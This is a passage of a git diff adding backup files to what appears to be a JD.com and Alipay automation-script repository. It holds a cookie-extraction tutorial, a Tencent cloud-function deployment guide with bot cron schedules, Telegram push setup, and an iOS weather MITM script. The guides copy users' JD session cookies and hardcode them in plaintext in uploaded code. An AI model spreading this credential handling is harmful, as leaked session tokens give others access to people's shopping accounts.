秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/AlipayManor.js b/backUp/AlipayManor.js new file mode 100644 index 0000000..70efa1b --- /dev/null +++ b/backUp/AlipayManor.js @@ -0,0 +1,14 @@ +// qx 及 loon 可用。 +// 半自动提醒支付宝蚂蚁庄园喂食。 +// 15 */4 * * * AlipayManor.js +// 自用 Modified from zZPiglet + +const $ = new Env('蚂蚁庄园'); +const manor = "alipays://platformapi/startapp?appId=66666674"; + +$.msg("支付宝", "蚂蚁庄园喂食啦", "alipays://platformapi/startapp?appId=66666674", manor); + +$.done() + +// prettier-ignore +function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o)),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} \ No newline at end of file diff --git a/backUp/GetJdCookie.md b/backUp/GetJdCookie.md new file mode 100644 index 0000000..0dc377a --- /dev/null +++ b/backUp/GetJdCookie.md @@ -0,0 +1,32 @@ +## 浏览器获取京东cookie教程 + + **以下浏览器都行** + + - Chrome浏览器 + - 新版Edge浏览器 + - 国产360,QQ浏览器切换到极速模式 + +### 操作步骤 + +1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/) +2. 按键盘F12键打开开发者工具,然后点下图中的图标 + ![切换到手机模式](../icon/jd1.jpg) +3. 此时是未登录状态(使用手机短信验证码登录),如已登录请忽略此步骤 + - 使用手机短信验证码登录(此方式cookie有效时长大概31天,其他登录方式比较短) +4. 登录后,选择Network,有很多链接的话点箭头这里清空下 + ![清空](../icon/jd2.jpg) +5. 然后再点我的,链接就变少了 + ![再次点击我的](../icon/jd3.jpg) +6. 点第一个链接(log.gif)进去,找到cookie,复制出来,新建一个TXT文本临时保存一下,下面需要用到 + ![寻找log.gi](../icon/jd4.jpg) +7. 第六步复制出来的cookie比较长,我们只需要`pt_pin=xxxx;`和 `pt_key=xxxx;`部分的内容即可(注:英文引号`;`是必要的)。可以用下面的脚本,在Chrome浏览器按F12,console里面输入下面脚本按enter回车键 + ``` + var CV = '单引号里面放第六步拿到的cookie'; + var CookieValue = CV.match(/pt_pin=.+?;/) + CV.match(/pt_key=.+?;/); + copy(CookieValue); + ``` +8. 这样子整理出关键的的cookie已经在你的剪贴板上, 可直接粘贴 + +9. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可 + + diff --git a/backUp/GetJdCookie2.md b/backUp/GetJdCookie2.md new file mode 100644 index 0000000..eadf9a5 --- /dev/null +++ b/backUp/GetJdCookie2.md @@ -0,0 +1,34 @@ +## 浏览器插件获取京东cookie教程 + > 此教程内容由tg用户@wukongdada提供,特此感谢 + + **以下浏览器都行** + + - Chrome浏览器 + - 新版Edge浏览器(chrome内核) + +### 操作步骤 + +1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/) +2. Chrome类浏览器安装EditThisCookie插件 + - Chrome插件商店搜EditThisCookie, 或者[打开此网站](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?utm_source=chrome-ntp-icon) 进行安装 + - 仅使用百分浏览器,谷歌浏览器测试过,其他谷歌类浏览器请自行测试。 + - 无法登录Chrome插件商店或者打不开网址建议使用edge chrome版。 +3. edge chrome浏览器安装Cookie Editor插件 + - [edge插件商店](edge://extensions/)搜Cookie Editor,或[打开以下网址](https://microsoftedge.microsoft.com/addons/detail/cookie-editor/ajfboaconbpkglpfanbmlfgojgndmhmc?hl=zh-CN) 完成插件安装 +4. 以下是chrome和edge的相关设置截图,输入的网址是 ``jd.com`` + + ![Chrome浏览器相关设置](../icon/jd5.png) + + ![Edge浏览器相关设置](../icon/jd6.png) + +5. 现在点击回到京东触屏版,再点击EditThisCookie/Cookie Editor,再点击搜索,输入key或pin,如下图所示的pt_key,复制pt_key的value值。此插件可以看到cookie的有效期。 + + ![插件显示](../icon/jd7.png) + +6. 按照以下格式形成自己的jd_cookie + - `pt_key=复制插件搜索出来的key值;pt_pin=复制插件搜索出来的pin值;` ,后面的英文引号`;`是必须要的 + - 给一个京东cookie具体示例 `pt_key=jdDC2F833333EFDGTCE5BD4AD1A952D4F4DF84A46052;pt_pin=jd_123456;` + +7. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可 + + diff --git a/backUp/TG_PUSH.md b/backUp/TG_PUSH.md new file mode 100644 index 0000000..6db47d5 --- /dev/null +++ b/backUp/TG_PUSH.md @@ -0,0 +1,19 @@ +**TG_PUSH教程** + +利用Telegram机器人推送通知,需要在环境变量填入正确的```TG_BOT_TOKEN```以及```TG_USER_ID```,以下教程简明阐述如何获取token以及UserID + +Ⅰ.首先在Telegram上搜索[BotFather](https://t.me/BotFather)机器人
+ +![TG_PUSH1](../icon/TG_PUSH1.png) + +Ⅱ.利用[BotFather](https://t.me/BotFather)创建一个属于自己的通知机器人,按照下图中的1、2、3步骤拿到token,格式形如```10xxx4:AAFcqxxxxgER5uw```。填入```TG_BOT_TOKEN```
+ +![TG_PUSH2](../icon/TG_PUSH2.png)
+ +**新创建的机器人需要跟它发一条消息来开启对话,否则可能会遇到secret填对了但是收不到消息的情况**
+ +Ⅲ.再次在Telegram上搜索[getuserIDbot](https://t.me/getuserIDbot)机器人,获取UserID。填入```TG_USER_ID```
+ +![TG_PUSH3](../icon/TG_PUSH3.png) + +至此,获取**TG_BOT_TOKEN**以及**TG_USER_ID**的教程结束 diff --git a/backUp/gitSync.md b/backUp/gitSync.md new file mode 100644 index 0000000..132321d --- /dev/null +++ b/backUp/gitSync.md @@ -0,0 +1,100 @@ +## 保持自己github的forks自动和上游仓库同步的教程 + - 信息来源于 [https://github.com/wei/pull](https://github.com/wei/pull) + - 以下教程仅是出于个人爱好,不保证本教程的完全正确性,最终请以作者 [https://github.com/wei/pull](https://github.com/wei/pull) 的描述为准。 + - 注:此教程由telegram用户@wukongdada提供 +### 1、只同步默认分支的教程 + +> 当上游的仓库仅有一个默认分支。或者上游仓库有两个分支,我们仅需要同步他的默认分支,其他分支对内容对我们来说无关紧要。 + + + +![git1.jpg](../icon/git1.jpg) + + + +a) 登录自己的github账号,另开网页打开 [https://github.com/wei/pull](https://github.com/wei/pull) + + + +b) 点击Pull app进行安装。 + +![../icon/git2.jpg](../icon/git2.jpg) + + + +c) 安装过程中会让你选择要选择那一种方式,All repositories(就是同步已经frok的仓库以及未来fork的仓库),Only select repositories(仅选择要自己需要同步的仓库,其他fork的仓库不会被同步),根据自己需求选择,实在不知道怎么选择,就选All repositories;点击install,完成安装。 + +![../icon/git3.jpg](../icon/git3.jpg) + + + +d) 后续,如果要调整1.c中的选项,打开 [https://github.com/apps/pull](https://github.com/apps/pull) ,点击Configure,输入github密码进入pull的相关设置。 + +![../icon/git4.jpg](../icon/git4.jpg) + + + +e) 进入后,找到Repository access,根据自己的需求,重新选择:All repositories(就是同步已经frok的仓库以及未来fork的仓库),Only select repositories(仅选择要自己需要同步的仓库,其他fork的仓库不会被同步),Save后保存生效。 + +![../icon/git5.jpg](../icon/git5.jpg) + + + +f) Pull app作者虽然在项目中写道keeps your forks up-to-date with upstream via automated pull requests,但当上游仓库有更改时,自己的仓库会在3个小时内完成与上游的同步,3个小时是Pull app作者说的最长时间。当然也可以通过手动触发同步上游仓库,手动触发方式:`https://pull.git.ci/process/你的GitHub名字/你的仓库名字` (例如:`https://pull.git.ci/process/xxxxx/test` ),手动触发可能会进行人机验证,验证通过后会显示Success。 + +![../icon/git12.jpg](../icon/git6.jpg) + +![../icon/git13.jpg](../icon/git7.png) + +### 2、同步其他分支的教程 + + ![../icon/git8.jpg](../icon/git8.jpg) + + + +a) 假设你fork了上游仓库后,你fork后的地址为 `https://github.com/你的仓库名字/test` ,首先设置完成第1部分内容,注意在1.c步骤没有设置全部同步的,要回到1.e步,确认是否设置同步了 `你的仓库名字/test`,如果没有,请添加上。 + +![../icon/git9.jpg](../icon/git9.jpg) + + + +b) 在默认分支下添加一个文件。 + +![../icon/git10.jpg](../icon/git10.jpg) + + + +c) 复制 ``.github/pull.yml`` 粘贴后看到以下页面,注意github前面的那个.别漏掉了。 + +![../icon/git11.jpg](../icon/git11.jpg) + + + +d) 请在https://github.com/wei/pull\#advanced-setup-with-config 页复制代码, + +注意:upstream处要修改为上游仓库作者名字。 + +![../icon/git12.jpg](../icon/git12.jpg) + +![../icon/git13.jpg](../icon/git13.jpg) + + + +e) 最终的示例如下,假设上游作者是zhangsan,所有的注意点都用红线圈出来了,保存后生效。 + +![../icon/git14.jpg](../icon/git14.jpg) + + + +f) Pull app作者虽然在项目中写道keeps your forks up-to-date with upstream via automated pull requests,但当上游仓库有更改时,自己的仓库会在3个小时内完成与上游的同步,3个小时是Pull app作者说的最长时间。当然也可以通过手动触发同步上游仓库,手动触发方式:`https://pull.git.ci/process/你的GitHub名字/你的仓库名字` (例如:`https://pull.git.ci/process/xxxxx/test`),手动触发可能会进行人机验证,验证通过后会显示Success。具体见1.f提供的图片。 + + + +g) 本人仅测试过forks一个仓库只有2个分支的项目,如果有多个分支,不能保证是否可行,请自行测试,或者是使用本教程第3部分高级玩法。 + +### 高级玩法 + +>当然,作者还有其他更好的项目用于同步所有分支,例如使用 GitHub actions 进行同步。请参考原作者的项目 + +- [https://github.com/wei/git-sync](https://github.com/wei/git-sync) +- [https://github.com/repo-sync/github-sync](https://github.com/repo-sync/github-sync) diff --git a/backUp/iCloud.md b/backUp/iCloud.md new file mode 100644 index 0000000..c61143f --- /dev/null +++ b/backUp/iCloud.md @@ -0,0 +1,215 @@ +## 1.安装 Node.js 环境 + +[下载地址](https://nodejs.org/zh-tw/download/ ) + +根据自己的操作系统下载 + +傻瓜式安装,一直下一步即可。 + + + +## 2.下载源码 + +![BclSld.png](https://s1.ax1x.com/2020/11/04/BclSld.png) + +点击红框处下载压缩包 + +## 3.安装依赖、增加入口文件、增加cookie + +压缩包解压后进入项目文件夹 + +- Windows 用户按住 **shift** 点击右键,点击 **在此处打开命令窗口** +- Mac 用户通过终端,自行进入该文件夹 + +在命令行内输入 `npm i `,等待运行完成。 + +此时,项目文件夹内会多出一个 `node_modules`文件夹 + + **增加入口文件** + +方案一:同一个仓库下同一个时间,执行多个脚本 + +在项目文件夹内新建 `index.js` + +编辑文件 + +```javascript +'use strict'; +exports.main_handler = async (event, context, callback) => { + //解决云函数热启动问题 + delete require.cache[require.resolve('./jd_xtg1.js')]; + require('./jd_xtg1.js') //这里写你想要的脚本 + require('./jd_xtg2.js') //这里写你想要的脚本 + require('./jd_xtg3.js') //这里写你想要的脚本 +} + +``` +此时,同一时间点下,会同时执行多个脚本,触发器触发后,index.js文件中require()下的所有脚本都会被执行 + +**优点**:同一时间下可以同时执行多个脚本,适合脚本种类少的repository,对脚本数量少的repository推荐使用此方案
**缺点**:多个脚本不同时间点运行无法满足 + +方案二:同一个仓库下不同的时间点,分别执行不同的脚本(类似GitHub Action执行机制) + +在项目文件夹内新建 `index.js` + +编辑文件 + +```javascript +'use strict'; +exports.main_handler = async (event, context, callback) => { + for (const v of event["Message"].split("\r\n")) { + //解决云函数热启动问题 + delete require.cache[require.resolve(`./${v}.js`)]; + console.log(v); + require(`./${v}.js`) + } +} + +``` + +此时触发管理按照下图中进行设置,附加信息选择“是”,内容填写需要传递执行的具体脚本文件名,以回车键换行。触发器触发后,附加信息栏内的脚本会被执行,设置多个不同时间点的触发器达到类似GitHub Action的效果 + +**优点**:可以满足个性化需求,同一个repository下只需要设置不同的触发器,可以实现不同时间点分别执行不同的脚本
**缺点**:repository下脚本过多,如果需要设置多个触发器,实现个性化运行效果,由于云函数的限制,最多只能设置10个 + +[![B20KxI.png](https://s1.ax1x.com/2020/11/05/B20KxI.png)](https://imgchr.com/i/B20KxI) +[![BRCG0H.png](https://s1.ax1x.com/2020/11/05/BRCG0H.png)](https://imgchr.com/i/BRCG0H) + +**注意:**
+Ⅰ方案一与方案二不能混合到同一个index.js文件中使用,同一个仓库下,二者只能选择其一。
+Ⅱ感谢[issues#115](https://github.com/LXK9301/jd_scripts/issues/115)中的解决方案,目前云函数连续测试已经可以规避热启动问题了。
+Ⅲ在确保完全按照本教程设置的情况下测试云函数运行情况,对于部分人运行日志中出现某些脚本运行失败其他正常,并且错误提示带有strict字样的,请自行删除index.js中的```'use strict';```,再做测试
+ + **增加cookie** + +打开项目文件内的 `jdCookie.js` + +在最上面的 `CookieJDs`里写入 cookie ,多个账号以逗号分隔 + +例如 + +```javascript +let CookieJDs = [ + 'pt_key=xxx;pt_pin=xxx;', + 'pt_key=zzz;pt_pin=zzz;', + 'pt_key=aaa;pt_pin=xxxaaa' +] +``` + + + +## 4.上传至腾讯云 + +[腾讯云函数地址]( https://console.cloud.tencent.com/scf/index ) + +编写函数 + +登录后,点击管理控制台 + +单击左侧导航栏**函数服务**,进入“函数服务”页面。 +在页面上方选择一个地域,最好选择离你常用地区近点的,不至于导致账号异常。单击**新建**。如下图所示: + +![iCloud1](../icon/iCloud1.png) + +在“新建函数”页面填写函数基础信息,单击**下一步**。如下图所示: + +![iCloud2](../icon/iCloud2.png) + +**函数名称**:可以自定义,比如为jd。
**运行环境**:选择 “Nodejs 12.16”。
**创建方式**:选择 “空白函数”。 + +确保环境为Nodejs 12.16,执行方法改为:index.main_handler,提交方式建议选本地文件夹,然后从GitHub项目克隆Zip压缩包,解压成文件夹,然后点击这个上传把文件夹上传进来(记得node_modules文件夹一并上传或者将node_modules文件夹上传到“层”,之后选择“函数管理”-“层管理”绑定上传好的层),完了后点击下面的高级设置。 + +![iCloud3](../icon/iCloud3.png) + +内存用不了太大,64MB就够了(64M内存,免费时长6,400,000秒,内存与免费时长大致关系可以参看云函数官方说明),超时时间改为最大的900秒,然后点击最下面的完成。 + +![iCloud4](../icon/iCloud4.png) + +默认设置下,云函数运行时长最长900s,可以通过设置突破900s限制,**此方法仅适用于新建函数名时设置,已建的无法更改,需要删除后重建**。
+ +新建函数,选择**高级配置**,**执行配置**,启用**异步执行**,之后在**环境配置**下**执行超时时间**,最大可以选择**86400秒**的执行时间。
+ +![iCloud7](../icon/iCloud7.png) + +![iCloud8](../icon/iCloud7.png) + +## 5.设置触发器 + +点击刚创建的函数 + +![BcGa8O.png](https://s1.ax1x.com/2020/11/04/BcGa8O.png) + +点击如图所示 + +![BcGvM4.png](https://s1.ax1x.com/2020/11/04/BcGvM4.png) + +创建触发器 + +![iCloud6](../icon/iCloud6.png) + +触发方式默认“**定时触发**”,定时任务名称随便起个名字,触发周期根据自己需要自行设置。 + +想进阶使用触发器的自行查看本文中方案一和方案二中的说明 + +关于触发周期中的自定义触发周期,使用的是 Cron表达式,这个自行学习下吧 + + +[Corn文档](https://cloud.tencent.com/document/product/583/9708#cron-.E8.A1.A8.E8.BE.BE.E5.BC.8F) + +目前repo中按照每个脚本一个定时器的方式设置到云函数中,大约需要触发器10多个,由于云函数触发器限制最多10个,需要对触发器进行整合,整合后触发器保持在10个以内,以下设置仅供参考
+ +| JavaScript | 脚本名称 | 活动时间 | serverless.yml | +| :------------------: | :-----------------------: | :------: | :---------------: | +| `getJDCookie` | 扫码获取京东Cookie | 长期 | / | +| `jd_bean_change` | 京豆变动通知 | 长期 | 30 7 * * * | +| `jd_bean_home` | 领京豆额外奖励 | 长期 | 30 7 * * * | +| `jd_bean_sign` | 京豆签到 | 长期 | 0 0 * * * | +| `jd_beauty` | 美丽研究院 | 长期 | 0 0-16/8,20 * * * | +| `jd_blueCoin` | 京小超兑换奖品 | 长期 | 0 0 * * * | +| `jd_bookshop` | 口袋书店 | 长期 | 5 6-18/6,8 * * * | +| `jd_car` | 京东汽车 | 长期 | 10 0 * * * | +| `jd_car_exchange` | 京东汽车兑换 | 长期 | 0 0 * * * | +| `jd_cash` | 签到领现金 | 长期 | 0 0-16/8,20 * * * | +| `jd_cfd` | 京喜财富岛 | 长期 | 0 0-16/8,20 * * * | +| `jd_club_lottery` | 摇京豆 | 长期 | 0 0 * * * | +| `jd_crazy_joy` | 疯狂的joy | 长期 | 30 7 * * * | +| `jd_crazy_joy_bonus` | 监控crazyJoy分红 | 长期 | 30 7 * * * | +| `jd_crazy_joy_coin` | 疯狂的joy挂机 | 长期 | / | +| `jd_daily_egg` | 京东金融-天天提额 | 长期 | 8 */3 * * * | +| `jd_delCoupon` | 删除优惠券 | 长期 | / | +| `jd_dreamFactory` | 京喜工厂 | 长期 | 3 */1 * * * | +| `jd_family` | 京东家庭号 | 长期 | 5 6-18/6,8 * * * | +| `jd_fruit` | 东东农场 | 长期 | 5 6-18/6,8 * * * | +| `jd_get_share_code` | 获取互助码 | 长期 | / | +| `jd_jdfactory` | 东东工厂 | 长期 | 3 */1 * * * | +| `jd_jdzz` | 京东赚赚 | 长期 | 3 1 * * * | +| `jd_joy` | 宠汪汪 | 长期 | 3 */1 * * * | +| `jd_joy_feedPets` | 宠汪汪单独喂食 | 长期 | 3 */1 * * * | +| `jd_joy_help` | 宠汪汪强制为别人助力 | 长期 | / | +| `jd_joy_reward` | 宠汪汪兑换奖品 | 长期 | 0 0-16/8,20 * * * | +| `jd_joy_run` | 宠汪汪邀请助力与赛跑助力 | 长期 | / | +| `jd_jxd` | 京小兑 | 长期 | 30 7 * * * | +| `jd_jxnc` | 京喜农场 | 长期 | 5 6-18/6,8 * * * | +| `jd_kd` | 京东快递 | 长期 | 3 1 * * * | +| `jd_live` | 京东直播18豆 | 长期 | 0 0-16/8,20 * * * | +| `jd_live_redrain` | 超级直播间红包雨 | 长期 | / | +| `jd_lotteryMachine` | 京东抽奖机 | 长期 | 10 0 * * * | +| `jd_moneyTree` | 摇钱树 | 长期 | 3 */1 * * * | +| `jd_ms` | 京东秒秒币 | 长期 | 10 0 * * * | +| `jd_necklace` | 点点券 | 长期 | 0 0-16/8,20 * * * | +| `jd_pet` | 东东萌宠 | 长期 | 5 6-18/6,8 * * * | +| `jd_pigPet` | 京东金融-养猪猪 | 长期 | 3 1 * * * | +| `jd_plantBean` | 种豆得豆 | 长期 | 3 */1 * * * | +| `jd_price` | 京东保价 | 长期 | 30 7 * * * | +| `jd_rankingList` | 京东排行榜 | 长期 | 30 7 * * * | +| `jd_redPacket` | 全民开红包 | 长期 | 10 0 * * * | +| `jd_sgmh` | 闪购盲盒 | 长期 | 30 7 * * * | +| `jd_shop` | 进店领豆 | 长期 | 10 0 * * * | +| `jd_small_home` | 东东小窝 | 长期 | 0 0-16/8,20 * * * | +| `jd_speed` | 天天加速 | 长期 | 8 */3 * * * | +| `jd_speed_sign` | 京东极速版签到+赚现金任务 | 长期 | 5 6-18/6,8 * * * | +| `jd_superMarket` | 东东超市 | 长期 | 15 */6 * * * | +| `jd_syj` | 十元街 | 长期 | 3 1 * * * | +| `jd_unsubscribe` | 取关京东店铺和商品 | 长期 | 10 0 * * * | +| `jx_sign` | 京喜签到 | 长期 | 3 1 * * * | + +点击提交,所有流程就结束了。 diff --git a/backUp/iOS_Weather_AQI_Standard.js b/backUp/iOS_Weather_AQI_Standard.js new file mode 100644 index 0000000..a460036 --- /dev/null +++ b/backUp/iOS_Weather_AQI_Standard.js @@ -0,0 +1,138 @@ +// Developed by Hackl0us (https://github.com/hackl0us) + +// STEP 1: 前往 https://aqicn.org/data-platform/token/ 注册账户,将申请的 API Token 填入下方 +let aqicnToken = '' +// STEP 2: 参考下方配置片段,在代理工具的配置文件中添加对应的配置。注意:script-path 后应该替换为添加 apicnToken 值后的脚本路径 +/* +===============Surge================= +[Script] +AQI-US = type=http-response, pattern=https://weather-data.apple.com/v1/weather/[\w-]+/[0-9]+\.[0-9]+/[0-9]+\.[0-9]+\?, requires-body=true, script-path=/path/to/iOS_Weather_AQI_Standard.js + +[MITM] +hostname = weather-data.apple.com +*/ +const $ = new Env('牛逼天气'); +aqicnToken = $.getdata('hackl0us_aqi_token'); + +const AirQualityStandard = { + CN: 'HJ6332012.1', + US: 'EPA_NowCast.1' +} + +const AirQualityLevel = { + GOOD: 1, + MODERATE: 2, + UNHEALTHY_FOR_SENSITIVE: 3, + UNHEALTHY: 4, + VERY_UNHEALTHY: 5, + HAZARDOUS: 6 +} + +const coordRegex = /https:\/\/weather-data\.apple\.com\/v1\/weather\/[\w-]+\/([0-9]+\.[0-9]+)\/([0-9]+\.[0-9]+)\?/ +const [_, lat, lng] = $request.url.match(coordRegex) + +function classifyAirQualityLevel(aqiIndex) { + if (aqiIndex >= 0 && aqiIndex <= 50) { + return AirQualityLevel.GOOD; + } else if (aqiIndex >= 51 && aqiIndex <= 100) { + return AirQualityLevel.MODERATE; + } else if (aqiIndex >= 101 && aqiIndex <= 150) { + return AirQualityLevel.UNHEALTHY_FOR_SENSITIVE; + } else if (aqiIndex >= 151 && aqiIndex <= 200) { + return AirQualityLevel.UNHEALTHY; + } else if (aqiIndex >= 201 && aqiIndex <= 300) { + return AirQualityLevel.VERY_UNHEALTHY; + } else if (aqiIndex >= 301 && aqiIndex <= 500) { + return AirQualityLevel.HAZARDOUS; + } +} + +function modifyWeatherResp(weatherRespBody, aqicnRespBody) { + let weatherRespJson = JSON.parse(weatherRespBody) + let aqicnRespJson = JSON.parse(aqicnRespBody).data + weatherRespJson.air_quality = constructAirQuailityNode(aqicnRespJson) + return JSON.stringify(weatherRespJson) +} + +function getPrimaryPollutant(pollutant) { + switch (pollutant) { + case 'co': + return 'CO2'; + case 'so2': + return 'SO2'; + case 'no2': + return 'NO2'; + case 'pm25': + return 'PM2.5'; + case 'pm10': + return 'PM10'; + case 'o3': + return 'OZONE'; + default: + console.log('Unknown pollutant ' + pollutant); + } +} + +function constructAirQuailityNode(aqicnData) { + let airQualityNode = { "source": "", "learnMoreURL": "", "isSignificant": true, "airQualityCategoryIndex": 1, "airQualityScale": "", "airQualityIndex": 0, "pollutants": { "CO": { "name": "CO", "amount": 0, "unit": "μg/m3" }, "SO2": { "name": "SO2", "amount": 0, "unit": "μg/m3" }, "NO2": { "name": "NO2", "amount": 0, "unit": "μg/m3" }, "PM2.5": { "name": "PM2.5", "amount": 0, "unit": "μg/m3" }, "OZONE": { "name": "OZONE", "amount": 0, "unit": "μg/m3" }, "PM10": { "name": "PM10", "amount": 0, "unit": "μg/m3" } }, "metadata": { "reported_time": 0, "longitude": 0, "provider_name": "aqicn.org", "expire_time": 2, "provider_logo": "https://i.loli.net/2020/12/27/UqW23eZLFAIbxGV.png", "read_time": 2, "latitude": 0, "v": 1, "language": "", "data_source": 0 }, "name": "AirQuality", "primaryPollutant": "" } + const aqicnIndex = aqicnData.aqi + airQualityNode.source = aqicnData.city.name + airQualityNode.learnMoreURL = aqicnData.city.url + '/cn/m' + airQualityNode.airQualityCategoryIndex = classifyAirQualityLevel(aqicnIndex) + airQualityNode.airQualityScale = AirQualityStandard.US + 